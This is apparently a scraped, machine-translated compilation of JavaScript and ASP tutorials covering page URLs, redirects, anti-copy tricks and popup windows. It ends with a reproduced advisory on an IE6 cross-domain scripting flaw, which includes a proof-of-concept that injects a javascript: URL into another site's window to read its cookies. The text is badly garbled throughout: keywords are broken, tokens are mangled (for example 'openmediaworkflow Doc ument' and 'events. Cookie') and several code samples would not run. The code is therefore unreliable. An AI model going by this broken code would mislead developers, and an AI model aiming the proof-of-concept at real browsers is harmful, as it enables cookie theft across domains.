JavaScript to get the address of this page

Source: Internet
Author: User

Window. Open is a new window, and location. href is the new URL refreshed in this window.
Location. href/equipmentweb/

If you obtain the "current" Domain Name
Host = Window. Location. Host;

 

Url = Document. domain;

 

Url = Window. Location. href;

Obtain the complete URL path: Use the following code to complete the certification result:

<Table width = 100% cellpadding = 0 cellspacing = 0 border = 0>
<SCRIPT>
Thisurl = Document. url;
Thishref = Document. Location. href;
Thissloc = self. Location. href;
Thisdloc = Document. location;
Strwrite = "<tr> <TD valign = top> thisurl: </TD> <TD> [" + thisurl + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thishref: </TD> <TD> [" + thishref + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thissloc: </TD> <TD> [" + thissloc + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thisdloc: </TD> <TD> [" + thisdloc + "] </TD> </tr>"
Document. Write (strwrite );
</SCRIPT>
Thisdloc = Document. Location; <br>
Thisurl = Document. url; <br>
Thishref = Document. Location. href; <br>
Thissloc = self. Location. href; <br>
<SCRIPT>
Thistloc = top. Location. href;
Thisploc = parent.doc ument. location;
Thisthost = top. Location. hostname;
Thishost = location. hostname;
Strwrite = "<tr> <TD valign = top> thistloc: </TD> <TD> [" + thistloc + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thisploc: </TD> <TD> [" + thisploc + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thisthost: </TD> <TD> [" + thisthost + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thishost: </TD> <TD> [" + thishost + "] </TD> </tr>"
Document. Write (strwrite );
</SCRIPT>
Thistloc = top. Location. href; <br>
Thisploc = parent.doc ument. Location; <br>
Thisthost = top. Location. hostname; <br>
Thishost = location. hostname; <br>
<SCRIPT>
Tmphpage = thishref. Split ("/");
Thishpage = tmphpage [tmphpage. Length-1];
Tmpupage = thisurl. Split ("/");
Thisupage = tmpupage [tmpupage. Length-1];
Strwrite = "<tr> <TD valign = top> thishpage: </TD> <TD> [" + thishpage + "] </TD> </tr>"
Strwrite + = "<tr> <TD valign = top> thisupage: </TD> <TD> [" + thisupage + "] </TD> </tr>"
Document. Write (strwrite );
</SCRIPT> <tr> <TD>

 

Run thisdloc = Document. location;
Thisurl = Document. url;
Thishref = Document. Location. href;
Thissloc = self. Location. href;
Thistloc = top. Location. href;
Thisploc = parent.doc ument. location;
Thisthost = top. Location. hostname;
Thishost = location. hostname;

 

 

 

 

Write ASP. net program, we often encounter page Jump problems, we often use response. redirect: if the customer wants to use the prompt during the jump, this will not work, for example:

Response. Write ("<SCRIPT> alert ('Congratulations, registration successful! '); </SCRIPT> ");
Response. Redirect ("main.html ");

At this time, our prompt content will jump without coming out, and there is no difference with response. Redirect ("main.html.

Then we use the following code to test:

Response. Write ("<script language = JavaScript> alert ('Congratulations, registration successful! ') </SCRIPT> ");
Response. Write ("<script language = JavaScript> commandid location.href+'main.html '</SCRIPT> ");

This allows us to jump to the page after the prompt.

The most important thing is that the window. Location. href statement can implement a framework page, refresh the page of another framework after executing the server code (response. Redirect cannot be reached, at least I did not find it ):

For example, the index.htm page has two frameworks: frameleft and frameright. On the frameright page, execute the server code and refresh the page in frameleft.

Previously, the most common issue was to automatically refresh the login box after registration and change the login box to the logged-on page. You only need to add a section after the successfully registered code, that is, you can refresh the page of another framework. The Code is as follows:

Response. Write ("<script language = JavaScript> alert ('Congratulations, registration successful! ') </SCRIPT> ");
Response. Write ("<script language = JavaScript> response parent.frameleft.location.href+'main.html '</SCRIPT> ");
 
1. oncontextmenu = Window. event. returnvalue = false will completely block the right mouse button
<Table border oncontextmenu = return (false)> <TD> NO </table>

2. <body onselectstart = return false> cancel selection and prevent Replication

3. onpaste = return false: Do not paste

4. oncopy = return false; oncut = return false; prevent Replication

5. <LINK rel = shortcut icon href =.../favicon. ICO> replace it with your own icon in front of the IE Address Bar

6. <LINK rel = bookmark href =.../favicon. ICO> show your icons in favorites.

7. <input style = ime-mode: Disabled> disable the input method.

8. Always carry the framework
<Script language = JavaScript> <! --
If (window = Top) top. Location. href = frames.htm; // frames.htm is the frame webpage.
// --> </SCRIPT>

9. Prevent Frame
<Script language = JavaScript> <! --
If (top. location! = Self. Location) top. Location = self. location;
// --> </SCRIPT>

10. <NoScript> <IFRAME src =.../*. html> </iframe> </NoScript> webpages cannot be saved

11. <input type = button value = view webpage source code
Onclick = Window. Location = 'view-Source: '+ 'HTTP: // www.csdn.net/'>

12. How to use ASP to check whether the visitor has used an agent?
<% If request. servervariables (http_x_forwarded_for) <> then
Response. Write "<font color = # ff0000> you have passed the proxy server ,_
The actual IP address is "& request. servervariables (http_x_forwarded_for)
End if
%>

 

A friend who frequently accesses the Internet may have visited such websites. A window will pop up immediately upon entry of the home page, or press one connection or
The button pops up. In this window, some precautions, copyright information, warnings, and other things are displayed.
Users want special prompt information. In fact, it is very easy to make such a page, as long as you add several sections to the HTML of the page
JavaScript code. Next, I will take you through the analysis of its mysteries.
[1. The most basic pop-up window Code]
In fact, the code is very simple:
<Script language = "JavaScript">
<! --
Window. Open ('page.html ')
-->
</SCRIPT>
Because this is a piece of javascripts code, they should be placed between <script language = "JavaScript">. <! --
And --> are used for some earlier browsers. In these old browsers, the code in the tag is not displayed as text
. This is a good habit.
Window. Open ('page.html ') is used to control the new window page.html. If page.html is not the same as the main window
Under a path, specify the path, absolute path (http: //) and relative path.
You can use single quotes and double quotes, but do not mix them.
This piece of code can be added to any HTML location, either between The earlier the execution, especially the long Page code. If you want the page to pop up early, try to move it forward. Yes, the earlier the execution,
Especially if the Page code is long and you want to bring the page up early, try to move it forward.
[2. After setting, the pop-up window is displayed]
Let's talk about the settings in the pop-up window. You just need to add something to the code above. Let's customize this bullet
The appearance, size, and position of the window to adapt to the specific situation of the page.
<Script language = "JavaScript">
<! --
Window. Open ('page.html ', 'newwindow', 'height = 100, width = 400, Top = 0, Left = 0,
Toolbar = No, menubar = No, scrollbars = No, resizable = No, location = No, status = no ')
// Write a row
-->
</SCRIPT>
Parameter description:
<Script language = "JavaScript"> the JS script starts;
Window. Open command to pop up a new window;
'Page.html 'name of the pop-up window;
'Newwindow' indicates the name of the pop-up window (not the file name). It is optional and can be replaced by null;
Height = 100 window height;
Width = 400 window width;
Top = the pixel value between the 0 window and the top of the screen;
Left = 0 the pixel value between the window and the left of the screen;
Toolbar = No indicates whether to display the toolbar. Yes indicates display;
Menubar and scrollbars indicate the menu bar and scroll bar.
Resizable = No: whether to change the window size. Yes: Yes;
Location = No indicates whether the address bar is displayed. Yes indicates yes;
Status = No whether to display the information in the status bar (usually the file has been opened), yes is allowed;
</SCRIPT> end of JS script
[3. Function Control pop-up window]
The following is a complete code:
<HTML>
<Head>
<Script language = "JavaScript">
<! --
Function openwin (){
Window. Open ("page.html", "newwindow", "Height = 100, width = 400,
Toolbar = No, menubar = No, scrollbars = No, resizable = No, location = No, status = No ")
// Write a row
}
// -->
</SCRIPT>
</Head>
<Body>
... Any page content...
</Body>
</Html>
A function openwin () is defined here, and the function content is to open a window. There is no purpose before calling it.
How to call it?
Method 1: <body> A window is displayed when the browser reads the page;
Method 2: <body> A window pops up when the browser leaves the page;
Method 3: call with a connection: <a href = "#"> open a window </a>
Note: "#" is a virtual connection.
Method 4: call with a button: <input type = "button" value = "open the window
Port ">
4. Two windows are displayed at the same time]
Slightly modify the source code:
<Script language = "JavaScript">
<! --
Function openwin (){
Window. Open ("page.html", "newwindow", "Height = 100, width = 100,
Top = 0, Left = 0, toolbar = No, menubar = No, scrollbars = No, resizable = No,
Location = No, status = No ")
// Write a row
Window. Open ("page2.html", "newwindow2", "Height = 100, width = 100,
Top = 100, Left = 100, toolbar = No, menubar = No, scrollbars = No, resizable = No,
Location = No, status = No ")
// Write a row
}
// -->
</SCRIPT>
To avoid overwriting the two pop-up windows, use top and left to control the position of the pop-up window. Finally, use the above
You can call the four methods mentioned above.
Note: The names of the two windows (newwindows and newwindow2) must not be the same, or they are all empty. OK?
Open the file 1.htmin the main window, and pop up the window page.html at the same time]
Add the following code to the <Script language = "JavaScript">
<! --
Function openwin (){
Window. Open ("page.html", "", "width = 200, Height = 200 ")
}
// -->
</SCRIPT>
Add to the <body> area:
<A href = "1.htm"> open </a>.
[6. timed close control for the pop-up window]
Next we will make some control over the pop-up window, and the effect will be better. If we add a short piece of code to the pop-up page
(Watermark is added to the HTML of page.html, not the home page, or...), so that it will be automatically disabled after 10 seconds.
Cool?
First, add the following code to the <Script language = "JavaScript">
Function closeit (){
SetTimeout ("self. Close ()", 10000) // millisecond
}
</SCRIPT>
Then, use the <body> statement to replace the original <body> sentence in page.html.
. (Do not forget to write this sentence! The function of this statement is to call the code to close the window. In 10 seconds, the code will be closed automatically.
Window .)
7. Add a close button in the pop-up window]
<Form>
<Input type = 'button 'value = 'Close 'onclick = 'window. Close ()'>
</Form>
Now it's more perfect!
[8. pop-up window contained in the Content-one page and two windows]
The preceding example contains two windows: one is the main window and the other is the small window that appears. Using the example below, you can
Complete the above results on a page.
<HTML>
<Head>
<Script language = "JavaScript">
Function openwin ()
{
OpenWindow = Window. Open ("", "newwin", "Height = 250,
Width = 250, toolbar = No, scrollbars = "+ scroll +", menubar = No ");
// Write a row
Opendeskdoc ument. Write ("<title> example </title> ")
Openmediaworkflow Doc ument. Write ("<body bgcolor = # ffffff> ")
Openmediaworkflow Doc ument. Write ("Openmediaworkflow Doc ument. Write ("new window opened! ")
Openmediaworkflow Doc ument. Write ("</body> ")
Openmediaworkflow Doc ument. Write ("Openmediaworkflow Doc ument. Close ()
}
</SCRIPT>
</Head>
<Body>
<A href = "#"> open a window </a>
<Input type = "button" value = "open window">
</Body>
</Html>
Do you think the code in openmediaworkflow Doc ument. Write () is not standard HTML? As long as more rows are written in the format, that is
Yes. An error occurs when you add one or more labels. Remember to end with openmediaworkflow Doc ument. Close ()
Ah.
[9. Ultimate application-Cookie control in the pop-up window]
In retrospect, although the pop-up window above is cool, there is a little bit of a problem (immersed in joy, do not find it ?) Ratio
If you place the above script in a page that requires frequent passing (such as the homepage), every time you refresh this page, the window will
Will pop up once, isn't it very annoying? :-(
Is there a solution? Of course! We can use cookies to control it. First, add the following code to the Home Page
<Head> area of HTML:
<SCRIPT>
Function openwin (){
Window. Open ("page.html", "", "width = 200, Height = 200 ")
}
Function get_cookie (name ){
VaR search = Name + "="
VaR returnvalue = "";
If (events. Cookie. length> 0 ){
Offset = documents. Cookie. indexof (Search)
If (offset! =-1 ){
Offset + = search. Length
End = documents. Cookie. indexof (";", offset );
If (END =-1)
End = documents. Cookie. length;
Returnvalue = Unescape (events. Cookie. substring (offset, end ))
}
}
Return returnvalue;
}
Function loadpopup (){
If (get_cookie ('popped') = ''){
Openwin ()
Documents. Cookie = "popped = yes"
}
}
</SCRIPT>
Then, use <body> (note that it is not openwin but loadpop !) Replacing the Home Page
The original <body> sentence is enough. You can try to refresh the page or re-enter the page, the window will no longer pop up
. Real pop-only-once!

Affected Systems:

Microsoft Iot Explorer 6.0
-Microsoft Windows XP SP2

Description: BugTraq ID: 29960

Internet Explorer is a popular Web browser released by Microsoft.

IE does not properly process the location or location. href attribute of the window object. If a user is cheated to access a malicious site, the cross-domain security restriction is bypassed and arbitrary commands are executed in the user's browser session.

The essence of this cross-domain security problem is that the browser has some omissions in processing window object operations, and does not consider the changes after window object operations with inheritance relationships between different domains, only some method parameters of the window object are restricted by similar data types, resulting in the last bypassing of the restriction cross-domain execution of scripts.

 

<* Source: rayh4c (rayh4c@80sec.com)

Link: http://secunia.com/advisories/30857/
Http://blogs.zdnet.com/security? P = 1348
Http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x02_0x04.txt
Http://www.kb.cert.org/vuls/id/923508
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<A href = ""> IE6 Cross Domain Scripting </a>
<SCRIPT>
Function win (){
X = Window. Open ('HTTP: // www.phpwind.net & #39 ;);
SetTimeout (function (){
X. Location = new string ("javascript: Alert (document. Cookie )")
}, 3000)
}
Window. onload = function (){
For (I = 0; I <document. Links. length; I ++ ){
Document. Links. href = "javascript: Win ()"
}
}
</SCRIPT>

Suggestion: vendor patch:

Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.microsoft.com/windows/ie/default.asp

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.